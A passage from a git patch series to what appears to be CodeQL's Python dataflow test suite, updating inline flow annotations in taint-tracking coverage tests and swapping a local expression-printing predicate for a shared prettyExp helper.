#$ flow="SOURCE, l:130 -> x.pop()" flow="'source', l:20 -> x.pop()" def test_set_comprehension_flow(): x = {y for y in [SOURCE]} - SINK(x.pop()) #$ flow="ControlFlowNode for SOURCE, l:135 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(x.pop()) #$ flow="SOURCE, l:135 -> x.pop()" flow="'source', l:20 -> x.pop()" def test_set_comprehension_inflow(): l = {SOURCE} x = {y for y in l} - SINK(x.pop()) #$ flow="ControlFlowNode for SOURCE, l:140 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(x.pop()) #$ flow="SOURCE, l:140 -> x.pop()" flow="'source', l:20 -> x.pop()" def test_nested_set_display(): x = {*{SOURCE}} - SINK(x.pop()) #$ MISSING:flow="ControlFlowNode for SOURCE, l:146 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(x.pop()) #$ MISSING:flow="SOURCE, l:146 -> x.pop()" MISSING:flow="'source', l:20 -> x.pop()" # 6.2.7. Dictionary displays def test_dict_display(): x = {"s": SOURCE} - SINK(x["s"]) #$ flow="ControlFlowNode for SOURCE, l:152 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x["s"]) #$ flow="SOURCE, l:152 -> x['s']" flow="'source', l:20 -> x['s']" def test_dict_display_pop(): x = {"s": SOURCE} - SINK(x.pop("s")) #$ flow="ControlFlowNode for SOURCE, l:157 -> ControlFlowNode for Attribute()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(x.pop("s")) #$ flow="SOURCE, l:157 -> x.pop(..)" flow="'source', l:20 -> x.pop(..)" def test_dict_comprehension(): x = {y: SOURCE for y in ["s"]} - SINK(x["s"]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:152 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x["s"]) #$ MISSING:flow="SOURCE, l:152 -> x['s']" MISING:flow="'source', l:20 -> x['s']" def test_dict_comprehension_pop(): x = {y: SOURCE for y in ["s"]} - SINK(x.pop("s")) #$ MISSING:flow="ControlFlowNode for SOURCE, l:167 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(x.pop("s")) #$ MISSING:flow="SOURCE, l:167 -> x.pop()" MISSING:flow="'source', l:20 -> x.pop()" def test_nested_dict_display(): x = {**{"s": SOURCE}} - SINK(x["s"]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:172 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x["s"]) #$ MISSING:flow="SOURCE, l:172 -> x['s']" MISING:flow="'source', l:20 -> x['s']" def test_nested_dict_display_pop(): x = {**{"s": SOURCE}} - SINK(x.pop("s")) #$ MISSING:flow="ControlFlowNode for SOURCE, l:177 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(x.pop("s")) #$ MISSING:flow="SOURCE, l:177 -> x.pop()" MISSING:flow="'source', l:20 -> x.pop()" # Nested comprehensions def test_nested_comprehension(): x = [y for z in [[SOURCE]] for y in z] - SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:183 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x[0]) #$ flow="SOURCE, l:183 -> x[0]" flow="'source', l:20 -> x[0]" def test_nested_comprehension_deep_with_local_flow(): x = [y for v in [[[[SOURCE]]]] for u in v for z in u for y in z] - SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:188 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x[0]) #$ flow="SOURCE, l:188 -> x[0]" flow="'source', l:20 -> x[0]" def test_nested_comprehension_dict(): d = {"s": [SOURCE]} x = [y for k, v in d.items() for y in v] - SINK(x[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:193 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x[0]) #$ MISSING:flow="SOURCE, l:193 -> x[0]" MISING:flow="'source', l:20 -> x[0]" def test_nested_comprehension_paren(): x = [y for y in (z for z in [SOURCE])] - SINK(x[0]) #$ flow="ControlFlowNode for SOURCE, l:199 -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(x[0]) #$ flow="SOURCE, l:199 -> x[0]" flow="'source', l:20 -> x[0]" # 6.2.8. Generator expressions def test_generator(): x = (SOURCE for y in [NONSOURCE]) - SINK([*x][0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:205 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK([*x][0]) #$ MISSING:flow="SOURCE, l:205 -> List[0]" MISING:flow="'source', l:20 -> List[0]" # 6.2.9. Yield expressions @@ -213,7 +213,7 @@ def gen(x): def test_yield(): g = gen(SOURCE) - SINK(next(g)) #$ MISSING:flow="ControlFlowNode for SOURCE, l:215 -> ControlFlowNode for next()" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for next()" + SINK(next(g)) #$ MISSING:flow="SOURCE, l:215 -> next()" MISING:flow="'source', l:20 -> next()" def gen_from(x): @@ -222,19 +222,19 @@ def gen_from(x): def test_yield_from(): g = gen_from(SOURCE) - SINK(next(g)) #$ MISSING:flow="ControlFlowNode for SOURCE, l:224 -> ControlFlowNode for next()" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for next()" + SINK(next(g)) #$ MISSING:flow="SOURCE, l:224 -> next()" MISING:flow="'source', l:20 -> next()" # a statement rather than an expression, but related to generators def test_for(): for x in gen(SOURCE): - SINK(x) #$ MISSING:flow="ControlFlowNode for SOURCE, l:230 -> ControlFlowNode for x" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for x" + SINK(x) #$ MISSING:flow="SOURCE, l:230 -> x" MISING:flow="'source', l:20 -> x" # 6.2.9.1. Generator-iterator methods def test___next__(): g = gen(SOURCE) - SINK(g.__next__()) #$ MISSING:flow="ControlFlowNode for SOURCE, l:236 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(g.__next__()) #$ MISSING:flow="SOURCE, l:236 -> g.__next__()" MISSING:flow="'source', l:20 -> g.__next__()" def gen2(x): @@ -246,7 +246,7 @@ def gen2(x): def test_send(): g = gen2(NONSOURCE) n = next(g) - SINK(g.send(SOURCE)) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(g.send(SOURCE)) #$ MISSING:flow="SOURCE -> g.send()" MISSING:flow="'source', l:20 -> g.send()" def gen_ex(x): @@ -259,7 +259,7 @@ def gen_ex(x): def test_throw(): g = gen_ex(SOURCE) n = next(g) - SINK(g.throw(TypeError)) #$ MISSING:flow="ControlFlowNode for SOURCE, l:260 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(g.throw(TypeError)) #$ MISSING:flow="SOURCE, l:260 -> g.throw()" MISSING:flow="'source', l:20 -> g.throw()" # no `test_close` as `close` involves no data flow @@ -280,7 +280,7 @@ def runa(a): async def atest___anext__(): g = agen(SOURCE) - SINK(await g.__anext__()) #$ MISSING:flow="ControlFlowNode for SOURCE, l:282 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(await g.__anext__()) #$ MISSING:flow="SOURCE, l:282 -> g.__anext__()" MISSING:flow="'source', l:20 -> g.__anext__()" def test___anext__(): @@ -296,7 +296,7 @@ async def agen2(x): async def atest_asend(): g = agen2(NONSOURCE) n = await g.__anext__() - SINK(await g.asend(SOURCE)) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(await g.asend(SOURCE)) #$ MISSING:flow="SOURCE -> g.asend()" MISSING:flow="'source', l:20 -> g.asend()" def test_asend(): @@ -313,7 +313,7 @@ async def agen_ex(x): async def atest_athrow(): g = agen_ex(SOURCE) n = await g.__anext__() - SINK(await g.athrow(TypeError)) #$ MISSING:flow="ControlFlowNode for SOURCE, l:314 -> ControlFlowNode for Attribute()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute()" + SINK(await g.athrow(TypeError)) #$ MISSING:flow="SOURCE, l:314 -> g.athrow()" MISSING:flow="'source', l:20 -> g.athrow()" def test_athrow(): @@ -326,22 +326,22 @@ class C: def test_attribute_reference(): - SINK(C.a) #$ MISSING:flow="ControlFlowNode for SOURCE, l:325 -> ControlFlowNode for Attribute" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Attribute" + SINK(C.a) #$ MISSING:flow="SOURCE, l:325 -> C.a" MISSING:flow="'source', l:20 -> C.a" # overriding __getattr__ should be tested by the class coverage tests # 6.3.2. Subscriptions def test_subscription_tuple(): - SINK((SOURCE,)[0]) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK((SOURCE,)[0]) #$ flow="SOURCE -> Tuple[0]" flow="'source', l:20 -> Tuple[0]" def test_subscription_list(): - SINK([SOURCE][0]) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK([SOURCE][0]) #$ flow="SOURCE -> List[0]" flow="'source', l:20 -> List[0]" def test_subscription_mapping(): - SINK({"s": SOURCE}["s"]) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for Subscript" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK({"s": SOURCE}["s"]) #$ flow="SOURCE -> Dict['s']" flow="'source', l:20 -> Dict['s']" # overriding __getitem__ should be tested by the class coverage tests @@ -353,7 +353,7 @@ l = [SOURCE] def test_slicing(): s = l[0:1:1] - SINK(s[0]) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for Subscript" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(s[0]) #$ MISSING:flow="SOURCE -> s[0]" MISSING:flow="'source', l:20 -> s[0]" # The grammar seems to allow `l[0:1:1, 0:1]`, but the interpreter does not like it @@ -364,7 +364,7 @@ def second(a, b): def test_call_positional(): - SINK(second(NONSOURCE, SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" + SINK(second(NONSOURCE, SOURCE)) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" def test_call_positional_negative(): @@ -372,15 +372,15 @@ def test_call_positional_negative(): def test_call_keyword(): - SINK(second(NONSOURCE, b=SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" + SINK(second(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" def test_call_unpack_iterable(): - SINK(second(NONSOURCE, *[SOURCE])) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" + SINK(second(NONSOURCE, *[SOURCE])) #$ MISSING:flow="SOURCE -> second(..)" MISING:flow="'source', l:20 -> second(..)" def test_call_unpack_mapping(): - SINK(second(NONSOURCE, **{"b": SOURCE})) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" + SINK(second(NONSOURCE, **{"b": SOURCE})) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" def f_extra_pos(a, *b): @@ -388,7 +388,7 @@ def f_extra_pos(a, *b): def test_call_extra_pos(): - SINK(f_extra_pos(NONSOURCE, SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_pos()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_pos()" + SINK(f_extra_pos(NONSOURCE, SOURCE)) #$ flow="SOURCE -> f_extra_pos(..)" flow="'source', l:20 -> f_extra_pos(..)" def f_extra_keyword(a, **b): @@ -396,7 +396,7 @@ def f_extra_keyword(a, **b): def test_call_extra_keyword(): - SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_keyword()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_keyword()" + SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> f_extra_keyword(..)" flow="'source', l:20 -> f_extra_keyword(..)" # return the name of the first extra keyword argument @@ -406,18 +406,18 @@ def f_extra_keyword_flow(**a): # call the function with our source as the name of the keyword arguemnt def test_call_extra_keyword_flow(): - SINK(f_extra_keyword_flow(**{SOURCE: None})) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_keyword()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_keyword()" + SINK(f_extra_keyword_flow(**{SOURCE: None})) #$ MISSING:flow="SOURCE -> f_extra_keyword(..)" MISSING:flow="'source', l:20 -> f_extra_keyword(..)" # 6.12. Assignment expressions def test_assignment_expression(): x = NONSOURCE - SINK(x := SOURCE) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for x" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for x" + SINK(x := SOURCE) #$ MISSING:flow="SOURCE -> x" MISSING:flow="'source', l:20 -> x" # 6.13. Conditional expressions def test_conditional_true(): - SINK(SOURCE if True else NONSOURCE) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for IfExp" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for IfExp" + SINK(SOURCE if True else NONSOURCE) #$ flow="SOURCE -> IfExp" flow="'source', l:20 -> IfExp" def test_conditional_true_guards(): @@ -425,7 +425,7 @@ def test_conditional_true_guards(): def test_conditional_false(): - SINK(NONSOURCE if False else SOURCE) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for IfExp" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for IfExp" + SINK(NONSOURCE if False else SOURCE) #$ flow="SOURCE -> IfExp" flow="'source', l:20 -> IfExp" def test_conditional_false_guards(): @@ -435,13 +435,13 @@ def test_conditional_false_guards(): # Condition is evaluated first, so x is SOURCE once chosen def test_conditional_evaluation_true(): x = NONSOURCE - SINK(x if (SOURCE == (x := SOURCE)) else NONSOURCE) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for IfExp" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for IfExp" + SINK(x if (SOURCE == (x := SOURCE)) else NONSOURCE) #$ MISSING:flow="SOURCE -> IfExp" MISSING:flow="'source', l:20 -> IfExp" # Condition is evaluated first, so x is SOURCE once chosen def test_conditional_evaluation_false(): x = NONSOURCE - SINK(NONSOURCE if (NONSOURCE == (x := SOURCE)) else x) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for IfExp" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for IfExp" + SINK(NONSOURCE if (NONSOURCE == (x := SOURCE)) else x) #$ MISSING:flow="SOURCE -> IfExp" MISSING:flow="'source', l:20 -> IfExp" # 6.14. Lambdas @@ -449,14 +449,14 @@ def test_lambda(): def f(x): return x - SINK(f(SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f()" + SINK(f(SOURCE)) #$ flow="SOURCE -> f(..)" flow="'source', l:20 -> f(..)" def test_lambda_positional(): def second(a, b): return b - SINK(second(NONSOURCE, SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" + SINK(second(NONSOURCE, SOURCE)) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" def test_lambda_positional_negative(): @@ -470,50 +470,50 @@ def test_lambda_keyword(): def second(a, b): return b - SINK(second(NONSOURCE, b=SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" + SINK(second(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" def test_lambda_unpack_iterable(): def second(a, b): return b - SINK(second(NONSOURCE, *[SOURCE])) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" # Flow missing + SINK(second(NONSOURCE, *[SOURCE])) #$ MISSING:flow="SOURCE -> second(..)" MISSING:flow="'source', l:20 -> second(..)" # Flow missing def test_lambda_unpack_mapping(): def second(a, b): return b - SINK(second(NONSOURCE, **{"b": SOURCE})) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for second()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for second()" + SINK(second(NONSOURCE, **{"b": SOURCE})) #$ flow="SOURCE -> second(..)" flow="'source', l:20 -> second(..)" def test_lambda_extra_pos(): f_extra_pos = lambda a, *b: b[0] - SINK(f_extra_pos(NONSOURCE, SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_pos()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_pos()" + SINK(f_extra_pos(NONSOURCE, SOURCE)) #$ flow="SOURCE -> f_extra_pos(..)" flow="'source', l:20 -> f_extra_pos(..)" def test_lambda_extra_keyword(): f_extra_keyword = lambda a, **b: b["b"] - SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) #$ flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_keyword()" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_keyword()" + SINK(f_extra_keyword(NONSOURCE, b=SOURCE)) #$ flow="SOURCE -> f_extra_keyword(..)" flow="'source', l:20 -> f_extra_keyword(..)" # call the function with our source as the name of the keyword argument def test_lambda_extra_keyword_flow(): # return the name of the first extra keyword argument f_extra_keyword_flow = lambda **a: [*a][0] - SINK(f_extra_keyword_flow(**{SOURCE: None})) #$ MISSING:flow="ControlFlowNode for SOURCE -> ControlFlowNode for f_extra_keyword()" MISSING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for f_extra_keyword()" + SINK(f_extra_keyword_flow(**{SOURCE: None})) #$ MISSING:flow="SOURCE -> f_extra_keyword(..)" MISSING:flow="'source', l:20 -> f_extra_keyword(..)" @expects(4) def test_swap(): a = SOURCE b = NONSOURCE - SINK(a) #$ flow="ControlFlowNode for SOURCE, l:509 -> ControlFlowNode for a" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for a" + SINK(a) #$ flow="SOURCE, l:509 -> a" flow="'source', l:20 -> a" SINK_F(b) a, b = b, a SINK_F(a) - SINK(b) #$ flow="ControlFlowNode for SOURCE, l:509 -> ControlFlowNode for b" flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for b" + SINK(b) #$ flow="SOURCE, l:509 -> b" flow="'source', l:20 -> b" def test_deep_callgraph(): @@ -538,7 +538,7 @@ def test_deep_callgraph(): return f5(arg) x = f6(SOURCE) - SINK(x) #$ MISSING:flow="ControlFlowNode for SOURCE, l:540 -> ControlFlowNode for x" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for x" + SINK(x) #$ MISSING:flow="SOURCE, l:540 -> x" MISING:flow="'source', l:20 -> x" @expects(2) @@ -547,7 +547,7 @@ def test_dynamic_tuple_creation_1(): tup += (SOURCE,) tup += (NONSOURCE,) - SINK(tup[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:547 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(tup[0]) #$ MISSING:flow="SOURCE, l:547 -> tup[0]" MISING:flow="'source', l:20 -> tup[0]" SINK_F(tup[1]) @@ -557,7 +557,7 @@ def test_dynamic_tuple_creation_2(): tup += (SOURCE,) tup += (NONSOURCE,) - SINK(tup[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:557 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(tup[0]) #$ MISSING:flow="SOURCE, l:557 -> tup[0]" MISING:flow="'source', l:20 -> tup[0]" SINK_F(tup[1]) @@ -567,7 +567,7 @@ def test_dynamic_tuple_creation_3(): tup2 = (NONSOURCE,) tup = tup1 + tup2 - SINK(tup[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:566 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(tup[0]) #$ MISSING:flow="SOURCE, l:566 -> tup[0]" MISING:flow="'source', l:20 -> tup[0]" SINK_F(tup[1]) @@ -578,5 +578,5 @@ def test_dynamic_tuple_creation_4(): for item in [SOURCE, NONSOURCE]: tup += (item,) - SINK(tup[0]) #$ MISSING:flow="ControlFlowNode for SOURCE, l:578 -> ControlFlowNode for Subscript" MISING:flow="ControlFlowNode for Str, l:20 -> ControlFlowNode for Subscript" + SINK(tup[0]) #$ MISSING:flow="SOURCE, l:578 -> tup[0]" MISING:flow="'source', l:20 -> tup[0]" SINK_F(tup[1]) diff --git a/python/ql/test/experimental/dataflow/tainttracking/TestTaintLib.qll b/python/ql/test/experimental/dataflow/tainttracking/TestTaintLib.qll index 6d6ee56ad0e..618fa1cfd2a 100644 --- a/python/ql/test/experimental/dataflow/tainttracking/TestTaintLib.qll +++ b/python/ql/test/experimental/dataflow/tainttracking/TestTaintLib.qll @@ -1,6 +1,7 @@ import python import semmle.python.dataflow.new.TaintTracking import semmle.python.dataflow.new.DataFlow +import experimental.dataflow.TestUtil.PrintNode class TestTaintTrackingConfiguration extends TaintTracking::Configuration { TestTaintTrackingConfiguration() { this = "TestTaintTrackingConfiguration" } @@ -18,31 +19,6 @@ class TestTaintTrackingConfiguration extends TaintTracking::Configuration { } } -private string repr(Expr e) { - not e instanceof Num and - not e instanceof StrConst and - not e instanceof Subscript and - not e instanceof Call and - not e instanceof Attribute and - result = e.toString() - or - result = e.(Num).getN() - or - result = - e.(StrConst).getPrefix() + e.(StrConst).getText() + - e.(StrConst).getPrefix().regexpReplaceAll("[a-zA-Z]+", "") - or - result = repr(e.(Subscript).getObject()) + "[" + repr(e.(Subscript).getIndex()) + "]" - or - ( - if exists(e.(Call).getAnArg()) or exists(e.(Call).getANamedArg()) - then result = repr(e.(Call).getFunc()) + "(..)" - else result = repr(e.(Call).getFunc()) + "()" - ) - or - result = repr(e.(Attribute).getObject()) + "." + e.(Attribute).getName() -} - query predicate test_taint(string arg_location, string test_res, string scope_name, string repr) { exists(Call call, Expr arg, boolean expected_taint, boolean has_taint | // only consider files that are extracted as part of the test @@ -69,6 +45,6 @@ query predicate test_taint(string arg_location, string test_res, string scope_na arg_location = arg.getLocation().toString() and test_res = test_res and scope_name = call.getScope().getName() and - repr = repr(arg) + repr = prettyExp(arg) ) } From 737f4dff09471818ceffbde8ea35cf4de20a2af3 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Tue, 24 Nov 2020 10:57:57 +0100 Subject: [PATCH 0056/1241] Python: update test annotations --- python/ql/test/experimental/dataflow/basic/test.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/python/ql/test/experimental/dataflow/basic/test.py b/python/ql/test/experimental/dataflow/basic/test.py index d0a54a570eb..b850aa0d99c 100644 --- a/python/ql/test/experimental/dataflow/basic/test.py +++ b/python/ql/test/experimental/dataflow/basic/test.py @@ -1,4 +1,4 @@ -def obfuscated_id(x): #$ step="FunctionExpr -> GSSA Variable obfuscated_id" +def obfuscated_id(x): #$ step="FunctionExpr -> GSSA Variable obfuscated_id" step="x -> SSA variable x" y = x #$ step="x -> SSA variable y" step="SSA variable x, l:1 -> x" z = y #$ step="y -> SSA variable z" step="SSA variable y, l:2 -> y" return z #$ flow="42, l:6 -> z" step="SSA variable z, l:3 -> z" From 80dcb8da4ac477e59161fac77d450caa03bca982 Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Tue, 24 Nov 2020 11:55:28 +0100 Subject: [PATCH 0057/1241] Python: annotate missing flow --- .../experimental/dataflow/coverage/classes.py | 270 +++++++++--------- 1 file changed, 135 insertions(+), 135 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/classes.py b/python/ql/test/experimental/dataflow/coverage/classes.py index eb850b8d819..fd8a45bc609 100644 --- a/python/ql/test/experimental/dataflow/coverage/classes.py +++ b/python/ql/test/experimental/dataflow/coverage/classes.py @@ -40,7 +40,7 @@ def OK(): # object.__new__(cls[, ...]) class With_new: def __new__(cls): - SINK1(cls) # Flow not found + SINK1(cls) #$ MISSING: arg1="With_new, l:41 -> cls" OK() # Call not found return super().__new__(cls) @@ -52,7 +52,7 @@ def test_new(): # object.__init__(self[, ...]) class With_init: def __init__(self): - SINK1(self) + SINK1(self) #$ MISSING: arg1="with_init, l:60 -> self" OK() @@ -63,7 +63,7 @@ def test_init(): # object.__del__(self) class With_del: def __del__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_del, l:71 -> self" OK() # Call not found @@ -75,7 +75,7 @@ def test_del(): # object.__repr__(self) class With_repr: def __repr__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_repr, l:84 -> self" OK() # Call not found return "With_repr()" @@ -88,7 +88,7 @@ def test_repr(): # object.__str__(self) class With_str: def __str__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_str, l:97 -> self" OK() # Call not found return "Awesome" @@ -101,7 +101,7 @@ def test_str(): # object.__bytes__(self) class With_bytes: def __bytes__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_bytes, l:110 -> self" OK() # Call not found return b"Awesome" @@ -114,8 +114,8 @@ def test_bytes(): # object.__format__(self, format_spec) class With_format: def __format__(self, format_spec): - SINK2(format_spec) # Flow not found - SINK1(self) # Flow not found + SINK2(format_spec) #$ MISSING: arg2="arg2, l:125 -> format_spec" + SINK1(self) #$ MISSING: arg1="with_format, l:124 -> self" OK() # Call not found return "Awesome" @@ -139,8 +139,8 @@ def test_format_fstr(): # object.__lt__(self, other) class With_lt: def __lt__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:150 -> other" + SINK1(self) #$ MISSING: arg1="with_lt, l:149 -> self" OK() # Call not found return "" @@ -154,8 +154,8 @@ def test_lt(): # object.__le__(self, other) class With_le: def __le__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:165 -> other" + SINK1(self) #$ MISSING: arg1="with_le, l:164 -> self" OK() # Call not found return "" @@ -169,8 +169,8 @@ def test_le(): # object.__eq__(self, other) class With_eq: def __eq__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="with_eq, l:180 -> other" + SINK1(self) #$ MISSING: arg1="with_eq, l:179 -> self" OK() # Call not found return "" @@ -183,8 +183,8 @@ def test_eq(): # object.__ne__(self, other) class With_ne: def __ne__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="with_ne, l:194 -> other" + SINK1(self) #$ MISSING: arg1="with_ne, l:193 -> self" OK() # Call not found return "" @@ -197,8 +197,8 @@ def test_ne(): # object.__gt__(self, other) class With_gt: def __gt__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:208 -> other" + SINK1(self) #$ MISSING: arg1="with_gt, l:207 -> self" OK() # Call not found return "" @@ -212,8 +212,8 @@ def test_gt(): # object.__ge__(self, other) class With_ge: def __ge__(self, other): - SINK2(other) # Flow not found - SINK1(self) # Flow not found + SINK2(other) #$ MISSING: arg2="arg2, l:223 -> other" + SINK1(self) #$ MISSING: arg1="with_ge, l:222 -> self" OK() # Call not found return "" @@ -227,7 +227,7 @@ def test_ge(): # object.__hash__(self) class With_hash: def __hash__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_hash, l:236 -> self" arg1="with_hash, l:241 -> self" arg1="with_hash, l:246 -> self" arg1="with_hash, l:251 -> self" OK() # Call not found return 0 @@ -255,7 +255,7 @@ def test_hash_dict(): # object.__bool__(self) class With_bool: def __bool__(self): - SINK1(self) # Flow not found + SINK1(self) #$ MISSING: arg1="with_bool, l:264 -> self" arg1="with_bool, l:269 -> self" OK() # Call not found return True @@ -275,8 +275,8 @@ def test_bool_if(): # object.__getattr__(self, name) class With_getattr: def __getattr__(self, name): - SINK2(name) # Flow not found - SINK1(self) # Flow not found + SINK2(name) #$ MISSING: arg2="with_getattr.arg2, l:286 -> name" + SINK1(self) #$ MISSING: arg1="with_getattr, l:285 -> self" OK() # Call 